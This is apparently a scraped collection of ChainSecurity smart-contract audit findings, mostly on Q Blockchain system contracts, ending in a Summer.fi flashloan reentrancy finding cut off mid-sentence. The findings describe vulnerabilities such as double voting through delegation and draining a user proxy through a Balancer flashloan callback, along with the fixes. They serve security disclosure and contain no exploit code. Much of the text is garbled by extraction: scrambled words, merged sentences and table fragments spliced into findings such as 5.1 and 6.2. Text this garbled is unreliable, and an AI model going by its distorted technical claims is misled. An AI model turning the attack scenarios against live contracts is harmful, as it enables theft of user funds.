NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/zkbob-smart-contracts/"}, {"title": "5.1 Compound Rate normalizeAmount", "body": " The normalizeAmount returns values that are greater or equal to target * decimals / rate, but still denormalizes to the same target value. For example, target 3, rate 123 and decimals 1000 yields 25. The true value, if computed in the domain of real numbers, would be 24.39. Thus, it can be expressed, for some cases. Also, that normalizeAmount(300) deposits of normalizeAmount(3) == 25. This has that depend on CoumpoundRateKeeper. is few effects on the normalizeAmount performs than the systems, rounding up of the smaller 2440 which result 100 == Saving _checkBalance function calls can fail and system will be rendered unusable. This can happen during the normal operation of the system. Saving contract users won't be able to deposit and withdraw funds from the contract. The rounding can effectively cause Denial of Service failure on this contract. QVault _checkBalanceInvariant can fail for the same reason and render contract DoSed. Saving contract can have not enough tokens to cover the deposits. Since all deposits are stored as normalized values and rounded up, all users get more tokens than they can claim from the system. Saving contract rewards users with smaller deposits BorrowingCore penalized the users, by rounding up their debt. The BorrowingCore will collect more fees but users also will get less liquidation coins if fee is high enough to cover both. In addition, the update is done via a loop, that is not executed more than once, while according to fuzzing tests it never runs more than once for the domain of numbers that contract should work with. Code partially corrected: Q Blockchain - System contracts - 10 SecurityDesignCorrectnessTrustCriticalHighMediumLowCodePartiallyCorrectedDesignLowVersion1CodePartiallyCorrected \fThe ineffective loop was removed in favor of simple if condition. On repetitive deposit to the same address on the QVault the user balance loses some small values due to division with truncation in denormalization function. This loss should in most cases compensate the gain from the rounding up. Overall all mentioned problems can be mitigated by some extra funds deposits. BorrowingCore behavior also while penalizing certain parties by tiny amounts, rewards the system health. Q Blockchain - System contracts - 11 \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 3 6 16 -Severity Findings -Severity Findings Inconsistent extendLocking Allows Multiple Votes Multiple Votes by Delegation Owner Not Initialized -Severity Findings Expired Slashing Proposals Are Not Purged FxPriceFeed setExchangeRate Timestamp Gas Heavy Operation on Foreign Chain Inconsistent Liquidation Full Debt Due to Payback Price Decimals and Token Decimals May Differ ValidationRewardPools _updateCompoundRate -Severity Findings ASlashingEscrow Decision Reordering Compiler Version Not Fixed and Outdated ContractRegistry Erasing Key Corruptible AddressStorageStakesSorted FxPriceFeed Can Have No Maintainers GSN Version String Inconsistent Liquidation Full Debt Due to Outdated Debt Inconsistent System Debt Auction Start Condition Inefficient Code Long pendingSlashingProposals Attack QVault updateCompoundRate Precision Loss Solc Pragma Specification Mismatch SystemSurplusAuction Bid Reentrancy ValidationRewardProxy Allocate Potential Overflow Validators Can Alter Delegator Share Q Blockchain - System contracts - 12 CriticalHighCodeCorrectedCodeCorrectedCodeCorrectedMediumCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrected \f6.1 Inconsistent extendLocking Allows Multiple Votes VotingWeightProxy.extendLocking only assigns _lockNeededUntil to lockedUntil[_who]. To be consistent, it should be the max between the new and the old value. Otherwise the user can manipulate the unlock times by voting on a proposal with smaller end time. In addition, the manipulation with unlock times enables user to transfer out the funds earlier and perform the attacks similar to on in Multiple Votes by Delegation, where users tokens can be reused to contribute to the same vote multiple times. VotingWeightProxy.extendLocking now yields the max value between _lockNeededUntil and lockedUntil[_who]. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.2 Multiple Votes by Delegation", "body": " Upon VotingWeightproxy.announceUnlock and VotingWeightproxy.unlock, no check is done to verify that the voting agent is not currently locking the delegated amount. This enables an attack where it is possible to vote multiple times with the same Q. Here is the attack scenario: A and V i i are accounts controlled by attacker. : QVault.lock(X) 1. A i 2. A 3. V i 4. A (no lock) : VWP.announceNewVotingAgent(V1) and VWP.setNewVotingAgent, can do it in one go i because getLockeduntil will return 0 since A did not vote i : vote on proposal, gets a lock on its own lockInfo : QVault.announceUnlock(X) and QVault.unlock(X), can do it in one go since A i did not vote i 5. A i : Qvault.transfer(A , X) i+1 6. goto 1. with i = i+1 Code corrected : Lock time is now tracked only once per user, previously it was once per locking contract and per user. Now both announceUnlock and unlock now take into account the max time between user's own time lock and its voting agent's time lock, this mitigates the attack described above. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.3 Owner Not Initialized", "body": " Some contracts inherit Ownable and Initializable, but do not assign the owner in the initialize function. If such contracts are deployed as a proxy, the owner field will be uninitialized (stays address 0) and owner functionality would be unusable. Q Blockchain - System contracts - 13 CorrectnessHighVersion2CodeCorrectedDesignHighVersion1CodeCorrectedDesignHighVersion1CodeCorrected \f GSNPaymaster inherits Initializable and BasePaymaster. BasePaymaster inherits Ownable. Function initialize of the GSNPaymaster only assigns value to stc field. The relayHub field can only be set by owner. ForeignChainTokenBridgeAdminProxy does not set owner in initialize. TokenBridgeAdminProxy is Initializable and Ownable. Owner is not initialized. Also, the Ownable functionality is not used anywhere. ExpertsMembership does not initialize owner. Also, the Ownable functionality is not used anywhere. Q Blockchain has done following fixes for the issues: Function initialize was removed from GSNPaymaster. The logic from it was moved to the constructor. Now the contract extends OwnableUpgradeable contract of openzeppelin library. The initialize functions calls _Ownable_init, that sets the owner. Now the contract extends OwnableUpgradeable contract of openzeppelin library. The initialize functions calls _Ownable_init, that sets the owner. Now the contract extends OwnableUpgradeable contract of openzeppelin library. The initialize functions calls _Ownable_init, that sets the owner. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.4 Expired Slashing Proposals Are Not Purged", "body": " When purgePendingSlashings is called (Validators and Roots), only proposals with state REJECTED or EXECUTED are deleted. The proposals with state EXPIRED are kept the pendingSlashingProposals list and their slashing amount is always kept into account when calculating the pending slashing amount. Thus, preventing the Roots and Validators to withdraw this amount that they should be able to withdraw, locking it forever. in Code corrected : RootNodesSlashingVoting and ValidatorsSlashingVoting now define slashingAffectsWithdrawal functions. The slashingAffectsWithdrawal function includes a check that slashing proposal is not in EXPIRED state. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.5 FxPriceFeed setExchangeRate Timestamp", "body": " The exchange rate on FxPriceFeed is set by setExchangeRate function and recorded timestamp is taken from the block. Since the transactions can be delayed and reordered or put to the chain earlier than needed, the rate can be outdated by the time the block is mined. The recorded timestamp can give unreliable information about the rate status. Some approaches, like Maker price oracles, ensure that new price values propagated from the Oracles are not taken up by the system until a specified delay has passed. Q Blockchain - System contracts - 14 DesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \f Field pricingTime was added to the FxPriceFeed contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.6 Gas Heavy Operation on Foreign Chain", "body": " ForeignChainTokenBridgeAdminProxy is supposed to be deployed on the Ethereum mainnet, thus its gas consumption is critical. The current complexity of the updateTokenbridgeValidators is actually O(m*n), where m is length of old list and n is length of new list. Complexity can be reduced to O(m+n) if all old values in list were replaced by new list values. Also, the number of calls to other contracts should be minimized. Currently, a lot of calls to bridgeValidators contract are done. Specification corrected: Q Blockchain wants to use IBridgeValidators interface implementation as it is without any modifications, since it allows them easier integration with existing tokenbridge code. With this requirement, current solution is sufficient. In addition, the O(m*n) complexity loop is done to lower the number of calls between ForeignChainTokenBridgeAdminProxy and IBridgeValidators contracts. According to Q Blockchain tests, this lowers the overall gas consumption. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.7 Inconsistent Liquidation Full Debt Due to", "body": " Payback Owner of the Vault that is being liquidated can call payBackStc and repay STC after the liquidation process has started. This can lead to potential problematic scenario: Collateralization ratio = 150% Liquidation ratio = 125% Liquidation fee = 2% 1. Vault owner has for 150 worth of collateral and 100 worth of STC. 2. Collateral value drops to 120, liquidation is opened with liquidationFullDebt = 100. At that point the fee should be 2. Highest bid is 105. 3. Vault owner pays back some its debt over liquidation ratio, so now the vault has for 120 worth of collateral and 88 worth of STC. Vault owner cannot call liquidate because the liquidation ratio does not allow this. 4. Liquidation is executed, liquidationFullDebt is still 100 but should be 88 by now. After liquidation, liquidator got his 120 worth of collateral token, system had its fee of 2 and user only got 105 - (100 + 2) = 3. So, in the end vault owner has lost more STC than what he should have with the liquidation. System would also burn more STC the liquidationFullDebt that should have changed due to payback. than needed, compensating token Code corrected : A modifier has been added to prohibit debt payback when vault is being liquidated. Q Blockchain - System contracts - 15 DesignMediumVersion1Speci\ufb01cationChangedCorrectnessMediumVersion1CodeCorrected \f6.8 Price Decimals and Token Decimals May Differ When computing the collateralization ratio in BorrowingCore the formula uses the price from the oracle along with the decimals of the collateral. It is an issue because there is no guarantee that the oracle price will have the same decimals as the associated collateral. The decimalPlaces of the FxPriceFeed should be used instead. Instead of using getDecimals, Q Blockchain uses decimalPlaces in BorrowingCore in functions _getColRatio and getVaultStats. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.9 ValidationRewardPools ", "body": " _updateCompoundRate In attempt to improve the precision, the _updateCompoundRate tries to update the compound rate of rate keeper with balance - reservedForClaim - 1 tokens. Then, the validator denormalize(newRate, stake) - denormalize(oldRate, stake) + 1 tokens are be used to increase the reservedForClaim variable. Assume following starting point of the system: oldRate == 1 stake == 200 balance == 400 reservedForClaim == 0 to integer division The _updateCompoundRate will update the compound rate keeper with 400-0-1 == 399 amount. Due for reservedForClaim will be 400-200+1==201. But the stakers would be able to get only 200 tokens out from this update. This 1 token difference will not be claimable by anyone and such discrepancies will be slowly accumulating the ValidationRewardPools system. the newRate will be 2. New value truncation of the result, If compound rate was updated with balance - reservedForClaim == 400 tokens, newRate would be 3 and denormalize(newRate, stake) - denormalize(oldRate, stake)==400 could have been distributed. reservedForClaim would have become 400 too. If balance where == 200, the balance - reservedForClaim - 1 would be 199, that is not enough to increase the rate. Meanwhile the solution without the -1 would have increased the rate by 1. To conclude, the balance - reservedForClaim - 1 _updateCompoundRate algorithm slowly accumulates the errors and delays in some cases the distribution of the tokens. With time the accumulated errors can drive the denormalized stake and reservedForClaim values more apart and can prevent the payout of the rewards, since the reservedForClaim values will be greater than they should have been, if computation were done in the domain of real numbers. sub(1) add(1) method The reserveAdditionalFunds(address _validator) that increases the validators balance and reservedForClaims fields by the transferred value was added. It allows to compensate for rounding up errors if they occur. Since the accumulation error speed is not higher then number of delegators * number of updates 1 extra Q token with 18 decimals should compensate error for quite awhile. approach dropped. Payable was Q Blockchain - System contracts - 16 DesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \f6.10 ASlashingEscrow Decision Reordering The proposeDecision and recallProposedDecision can be called numerous times on ASlashingEscrow. Roots that want to confirmDecision cannot be sure what decision they are confirming and condition recallProposedDecision/proposeDecision. Since the order of those transactions can vary, pending decision might be changed by the time confirmation arrives. confirmDecision between race due the to The confirmDecision function takes extra decision hash argument, that solves the problem with reordering. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.11 Compiler Version Not Fixed and Outdated", "body": " The solidity compiler truffle-config.js to be 0.7.6. is not fixed in the code. The version, however, is defined in the In the code the following pragma directives are used: pragma solidity ^0.7.0; Known bugs in version 0.7.6 are: https://github.com/ethereum/solidity/blob/develop/docs/bugs_by_version.json#L1509 More information about these bugs can be found here: https://docs.soliditylang.org/en/latest/bugs.html At the time of writing the most recent Solidity release is version 0.8.7 which contains some bugfixes. Code correct : Solidity compiler version has been fixed to 0.7.6 in every file, this this the last version before breaking changes of version 0.8.0. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.12 ContractRegistry Erasing Key", "body": " Any given string key for address cannot be purged from ContractRegistry. Function contains always checks that address != 0. But _setAddress function does not allow address to be 0. Thus, unused key address will always be contained by this contract. There is no dedicated function for purging the addresses. In addition, keys are pushed to the storage keys array, but never can be deleted. Q Blockchain - System contracts - 17 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fFunctions removeKey and removeKeys were added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.13 Corruptible AddressStorageStakesSorted", "body": " AddressStorageStakesSorted contract uses linked list to manage the sorted stakes of addresses. Linked list implementation relies on HEAD==address(0) and TAIL==address(1) constants It is possible to inject HEAD or TAIL wherever in the linked list, allowing the owner to manipulate the order of the elements. The issue severity is limited, because only the Validators.sol contract is using the AddressStorageStakesSorted and only message senders can add themselves to this list. However, if the contract is used in another way than the Validators.sol contract does, the corruption of the sorted linked list could lead to severe issues. Code correct : A check that prohibits HEAD or TAIL to be added in the list has been added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.14 FxPriceFeed Can Have No Maintainers", "body": " Function leaveMaintainers in FxPriceFeed contract does not check that there are left maintainers after the execution of this function. ContractRegistry performs such check in the same function. Check was added similar to ContractRegistry, that prevents the last maintainer from leaving. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.15 GSN Version String", "body": " Versions of contracts that enable the GSN functionality should reference the GSN version used 2.2.2. Currently the returned version strings are not correct. While there are no consequences on smart contract level (versions are not checked), the font end libs can have problems with compatibility. StableCoin.versionRecipient returns \"0.0.1\" GSNPaymaster.versionPaymaster returns \"0.0.1\" Code corrected : The GSNPaymaster.versionPaymaster is 2.2.0 now. returned version by StableCoin.versionRecipient and Q Blockchain - System contracts - 18 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f6.16 Inconsistent Liquidation Full Debt Due to Outdated Debt BorrowingCore vault liquidationFullDebt value is updated every time the liquidated function is called. This function can be called by anyone and LiquidationAuction calls is once during the startAuction. Nothing prevents the liquidated, as long as the vault is still undercollateralized. But there is no incentive to do so for anyone. In addition, the liquidationFullDebt saved in the beginning of the liquidation will be smaller than the up-to-date value of debt. The collateral interest rate grows constantly and actual debt at than liquidationFullDebt. The difference depends on duration of liquidation auction and interest rate on collateral. All values that depend on liquidationFullDebt will be affected by this discrepancy. For example, the liquidation fee that is defined as a percent of liquidationFullDebt will be smaller than needed and thus, the generated surplus of the system will be smaller than defined %. the end of Auction execution will be higher The liquidate function cannot be called when liquidated. Thus, the liquidationFullDebt cannot be updated, once it is set. The collateral interest rate growth won't affect the debt and according to Q Blockchain, it is intended behavior. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.17 Inconsistent System Debt Auction Start", "body": " Condition From SystemBalance.getBalanceDetails, auction can begin if systemBalance.getDebt() >= _params.getUint(stc.debtThreshold()) In SystemDebtAuction.startAuction, auction can begin if _systemBalance.getDebt() > _params.getUint(stc.debtThreshold()) Note >= vs > difference. Code corrected : Both conditions are now strict inequality >. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.18 Inefficient Code", "body": " Some code has no effect, is redundant, or simply inefficient. Removing or changing it can increase code readability and save some gas as well. Examples Q Blockchain - System contracts - 19 CorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f AddressStorage.mustRemove/mustAdd :AddressStorage.remove/add already has the onlyOwner modifier AddressStorage.size() : array.length has already type uint256, further casting to uint256 has no effect AddressStorageStakesStore.updateStake(): addrStake[_addr] = _stake; should be moved after the if(_stake==0){} block, otherwise on a 0 stake contract will write 0 in the slot, then delete the entry. EmergencyUpdateVoting._vote() : the first two require statements check the same property and have different error messages QVault.withdrawTo() : the check for user balance is already done in _subFromBalance QVault._subFromBalance() : upon _targetBalance computation, the SafeMath library not needed, the check for _amount <= balanceOf(_owner) has already been done QVault._subFromBalance() : balanceOf is called 3 times, while the result can be queried only once and later stored in memory variable. ValidationRewardProxy.PayInformation : this struct contains bool ok, which is assigned once but never used or returned ASlashingEscrow.Decision, SystemSurplusAuction.AuctionInfo, SystemBalance.SystemBalanceDetails : those structs can be optimized for tight packing Validators if currentWithdrawal.amount is 0, the entry validatorsInfos[msg.sender].withdrawal is first deleted and then reinitialized again. RootsVoting._equals() : function is never used SystemSurplus.bid() : _auction is already in storage, rewriting it to auctions[_auctionId] is not needed and gas heavy SystemBalance.getBalanceDetails() : a condition evaluation can be saved on average by writing this block in a if - else if - else style, with the most validated condition first SystemDebtAuction.execute() : call to _checkBalances has no effect since auction status is now CLOSED TokenBridgeAdminProxy : is Ownable but the functionality is never used VotingWeightProxy.extendLocking() : the loop may update lockInfo.lockedUntil for each tokenLockSource every time it is called. So, every source will have the same value for their lockInfo.lockedUntil, a unique lockedUntil per user would be more gas efficient FxPriceFeed can have fields defined as immutable. CompoundRateKeeperFactory and AddressStorageFactory can deploy minimal proxies for implementations and not the complete contract. The redundant check is removed from AddressStorage.mustRemove/mustAdd Redundant casting removed The _stake == 0 is handled properly now. The redundant check was removed. The redundant check was removed. The redundant calls were removed. The ok field was removed from struct. Q Blockchain - System contracts - 20 \f The field definitions were rearranged, to profit from tight packing. The deletion was removed. RootsVoting._equals() is removed. The redundant rewrite was removed. The conditions were rewritten in more optimal way. _checkBalances was moved to the beginning of SystemDebtAuction.execute() function. _checkBalances was moved to the beginning of SystemDebtAuction.execute() function. fallback function is onlyOwner now. The loop was removed. State variables that could be immutable are now immutable Proxies are used for the implementations. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.19 Long pendingSlashingProposals Attack", "body": " Malicious root can create numerous proposals on ValidatorsSlashingVoting or RootNodesSlashingVoting and make pendingSlashingProposals entries on Validators or Roots too long for gas limit to be executed. This will brake withdrawal functionality on those contracts for a given Root/Validator. Since the root is trusted role, the chance of such attack is considered low. Code corrected : Check RootNodesSlashingVoting and ValidatorsSlashingVoting upon createProposal. for already pending slashing proposal pair (victim, proposer) has been added in ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.20 QVault updateCompoundRate Precision", "body": " Loss Following computations are performed in the updateCompoundRate function of the QVault: uint256 _accruedReward = aggregatedNormalizedBalance.mul(_newRate.sub(_oldRate)).div(getDecimal()); IQHolderRewardPool(registry.mustGetAddress(\"tokeneconomics.qHolderRewardPool\")).requestRewardTransfer( _accruedReward ); The resulted _accruedReward variable will have more error, then the difference of two denormalized values, calculated with different rates. The requested reward will be smaller due to the integer division truncation error. With time, the error can accumulate and break invariant of the contract. In addition, _checkBalanceInvariant is not performed after the updateCompoundRate. Code corrected : The Q Blockchain provided following fixes: call _checkBalanceInvariant at the end of updateCompoundRate Q Blockchain - System contracts - 21 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f change calculation of _accruedReward to our standard pattern: denormalize aggregated balance with old rate update compound rate denormalize aggregated balance with new rate _accruedReward must be the diff between the two ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.21 Solc Pragma", "body": " pragma contract Current compiler: pragma solidity ^0.7.0; Contracts should be deployed with the same compiler version and flags that they have been tested the most with. Locking the pragma helps ensure that contracts do not accidentally get deployed using, for example, the latest compiler which may have higher risks of undiscovered bugs. quite many directive versions permits the of Solidity pragma is set to fixed 0.7.6 for all Smart Contracts. This is the latest version of Solidity 0.7 major version compiler. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.22 Specification Mismatch", "body": " Code does not match with the specification. Examples: 1. AddressStorageStakes.add() address _addr : stake spec be @param @param _stake amount of decreasing but it should be increase instead of decrease decreased whose will says and 2. AddressStorageStakes.sub() : data.stake >= _stake check does not match with the error message 3. FxPriceFeed : @title Root nodes voting is wrong 4. BorrowingCore.withdrawCol() : userVaults[msg.sender][_vaultId].colAsset > _amount check does not match with the error message 5. QHolderRewardPool.requestRewardTransfer() : return specs to not match with code, there is no _unsatisfyableClaims and if the amount is too big, call just reverts and does not return 0. 6. SystemBalance.increaseDebt() : PDF documentation says only liquidation auction and saving should be allowed to increase debt. Eligible contracts are not fixed, could be more contracts than those two 7. ConstitutionVoting.shouldExist() says @dev Internally counts the vetos percentage but modifier only checks for proposal existence spec : 8. VotingWeightProxy.announceUnlock() : spec says function should throw error 028002 if _amount = 0 but no check is done Q Blockchain - System contracts - 22 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f9. VotingWeightProxy.unlock() : spec says we can only unlock previously announced amount via announceUnlock, but it is possible to unlock more than announced Code corrected : 1. specs updated 2. error message updated 3. specs updated 4. error message updated 5. specs updated 6. new modifier has been added to check for LiquidationAuction and Saving 7. specs updated 8. specs updated 9. specs updated ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.23 SystemSurplusAuction Bid Reentrancy", "body": " Function bid in SystemSurplusAuction calls PushPaymaster.safeTransferTo to bidder address. After the call some _auction storage variable is reassigned. While PushPaymaster call has a limited 30000 gas, this can be still enough for reentrancy. Reordering of call and storage assignments can close this potential vulnerability. The order of operations was PushPaymaster.safeTransferTo call. changed. No storage reads/writes happen after the ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.24 ValidationRewardProxy Allocate Potential", "body": " Overflow The allocate function has following computations: p.delegatorReward = p.balance.mul(shortList[i].amount).mul(p.qsv).div(p.totalStake).div(decimal); p.validatorReward = p.balance.mul(shortList[i].amount).mul(decimal.sub(p.qsv)).div(p.totalStake).div(decimal); The max value for uint256 is close to 10^77. Balance has 18 decimals, amount 18 decimals as well. The qsv or decimal-qsv is a value of 10^27 magnitude. Overall it makes 10^63 just for decimals calculations. Keeping in mind the potential big values for shortList amounts and distributed p.balance, the overflow can occur and block all Validator reward payouts from execution. Code corrected : Q Blockchain - System contracts - 23 SecurityLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fComputation that are prone to intermediate overflows are now done using the function mulDiv of library FullMath from Uniswap V3. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.25 Validators Can Alter Delegator Share", "body": " The setDelegatorsShare function of ValidationRewardPools allows validators to set a percent, that will go to delegators from the rewards that validator can get. This action can be done without any time constraints and prior announcement. Validator can even sandwich the call to rewards distribution function between two setDelegatorsShare calls that will result in harder to notice of lowering the profits of delegators. Code corrected : Q Blockchain added event DelegatorsShareChanged that allows users to easily identify misbehaving validators. The own stake of validator is much higher than the potential profit from reward distribution and since the own stake can be slashed for misbehavior, the issue is considered as resolved. Q Blockchain - System contracts - 24 TrustLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "7.1 Constructor and Initializer", "body": " Some contracts, e.g. AddressStorage defines both constructor and function initialize. Quite often developers duplicate the logics of initialize inside constructor and define constructor itself with initializer modifier. In your case you don't do it, but the creation and initialization of such contracts is consistent and done in a safe way. We wanted to let you know that the current pattern can easily lead to issues, if contract will be used directly without proxy and without proper initialization. The contracts that will serve as implementations for Factories also should be properly initialized, to prevent the undesired state modifications on it. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "7.2 DefaultAllocationProxy Allocate", "body": " The design of allocate function in DefaultAllocationProxy contract has aspect that is worth mentioning: The failure of any beneficiary fallback logic will force the entire allocation procedure to fail. In current implementation version only the QHolderRewardProxy has any logic in its receive function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "7.3 Plain Strings as Keys", "body": " The use of plain strings as access keys for the registry across the code base is error prone. It could lead to mistyping one of the keys, can make a contract unusable. A less error prone solution would be to store those string keys as globally available constants. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "7.4 Proxy Tests", "body": " The truffle tests concerning proxies should be extended. In the current state, the proxies are just deployed, but never used. Tests should be done with real proxies, issues like the one concerning the ownership could have been detected then. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "7.5 Roots Function _addStake Check", "body": " The check needs to check the _amount value. In current implementation this causes no problems, but can lead to bug if functionality changes. require(msg.value > 0, \"[QEC-002012]-Additional stake must not be zero.\"); Q Blockchain - System contracts - 25 NoteVersion1NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f7.6 SlashingEscrow PENDING After appealEndTime The ASlashingEscrow's state machine can stays PENDING on an arbitration decision if not enough RootNodes confirm the decision. If a decision on a casted objection does not receive enough confirmations, it stays on PENDING state, event after the appealEndTime. So as long as not enough RootNodes have confirmed the decision, the slashed amount is kept in the slashing escrow, that could mean pure loss for the validator, the slashing proposer and the system reserve if the arbitration is never decided. The Q Blockchain team confirmed, that root nodes are incentivized to vote. Thus every vote on SlashingEscrow should eventually be decided. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "7.7 System Compatibility With External Tokens", "body": " While systems contracts operate properly with good behaving ERC20 tokens, some odd tokens can cause potential problems in the system. For example, the BorrowingCore getting collateral with collateral.transferFrom(msg.sender, address(this), _amount) and _amount is retained for accounting. This behavior does not tolerate tokens with fees. If a collateral is a token that allows fees upon transfer, the real amount received by the BorrowingCore will be less than _amount and the system could end up undercollateralized without noticing it. Similarly, the rounding errors in QVault transfers can lead to smaller received values on the BorrowingCore side. Thus, QVault cannot be used as a collateral inside BorrowingCore without code adjustments. In addition, on Ethereum some tokens don't always return values on transfer/transferFrom or approvals. Some tokens have unusual number of decimals (too big or too small). Allowing the system to manipulate any external token should be done with a great care. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "7.8 Total Q Supply Assumption Source", "body": " the amount, Upon (block.number.mul(15)).add(10000000000).mul(1 ether) is copy-pasted as-is four times. Having system parameters defined in different sources is error prone and can complicate the upgradability of the system contracts. computation circulating total of Q ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "7.9 Unchecked Function Return Values", "body": " Some of the calls to known functions are not checked, mainly calls to AddressStorage. Examples : QVault.delegateStake : return value of _newDelegations.add(_delegationAddr); is not checked Q Blockchain - System contracts - 26 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f AExertsMembership.add/remove/swapMember : return values of the interactions with the list of experts are not checked QVault _addToBalance and _subFromBalance functions return bool that are never used While this might be intended, this uses more gas. Q Blockchain - System contracts - 27 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain/"}, {"title": "6.1 Balancer Flashloan Can Break Proxy Access", "body": " Rights The OperationExecutor supports Flashloans. For this, a callback interface for the FlashloanProvider must be provided. As the UserProxy does not have the required interface, this callback is made to the OperationExecutor, which then calls execute() to switch back into the Proxy's account/storage context CS-DMAV2-005 The transaction flow for Flashloans is as shown below: Context: UserProxy UserProxy delegatecall -> OperationExecutor -> TakeFlashloan Action -> FlashloanProvider Context: OperationExecutor FlashLoan Callback -> UserProxy.execute() Context: UserProxy OperationExecutor.callbackAggregate() To facilitate this flow, the OperationExecutor is given the permission to call execute() on the UserProxy for the duration of the Flashloan. In the case of using Maker's Flashloan, this callback is correctly restricted to only call execute() on the initiator (msg.sender) of the Flashloan. For the Balancer integration however, the initiator is given in calldata of the Balancer call instead of Balancer returning the msg.sender. This means there can be a callback into any proxy for which the OperationExecutor has execution rights, even if Balancer was called from an address other than the Proxy. This is an issue if there is an unsafe external call in any action nested in the FlashLoan. Any address can reenter the receiveFlashloan function of OperationExecutor by taking a Flashloan on Balancer, and use its execute() privileges to execute any actions from within the context of the proxy. Summer.fi - DeFi Modular Actions v2 - 12 CriticalHighCodeCorrectedMediumLowCodeCorrectedCodeCorrectedCodeCorrectedSecurityHighVersion1CodeCorrected \fWe illustrate what an attack could look like using the following set of actions performed by a user: 1. TakeFlashloan 2. SwapAction 3. TransferAction First, the user will take a Flashloan. This will give the OperationExecutor permission to call execute() on the proxy. Second, the user swaps tokens. Assume that this makes an unsafe external call to an attacker's contract, for example through a transfer hook in the traded token. Now, the attacker has control flow and can execute the reentrancy attack. They take another Flashloan, setting the FlashloanRecipient to the OperationExecutor and the initiator to the UserProxy. receiveFlashloan() will be called, which calls execute() in the UserProxy. The functionSelector will always be callbackAggregate, but the flData.calls is provided by the attacker when they take their Flashloan. Now, those actions chosen by the attacker will be executed in the context of the UserProxy. For example, the attacker can call the SendToken, SetApproval or Withdraw action and drain all funds in the proxy. The actions taken by the attacker will be recorded in the txStorage and it will be checked if they belong to an operation that exists at the end of the execution. This means the attack only works if there exists an action that is the same as the one the user called, but with additional actions added. For example, for the set of actions above to be attackable there would have to be another legal operation that has those steps and additional ones at the location of the reentrancy. Such as: 1. TakeFlashloan 2. SetApproval 3. SwapAction 4. TransferAction The same issue is also present in OperationExecutor v1, when taking a Balancer Flashloan and making an unsafe external call. However, here the limitation of the actions needing to form a legal operation is not present, as the operations are 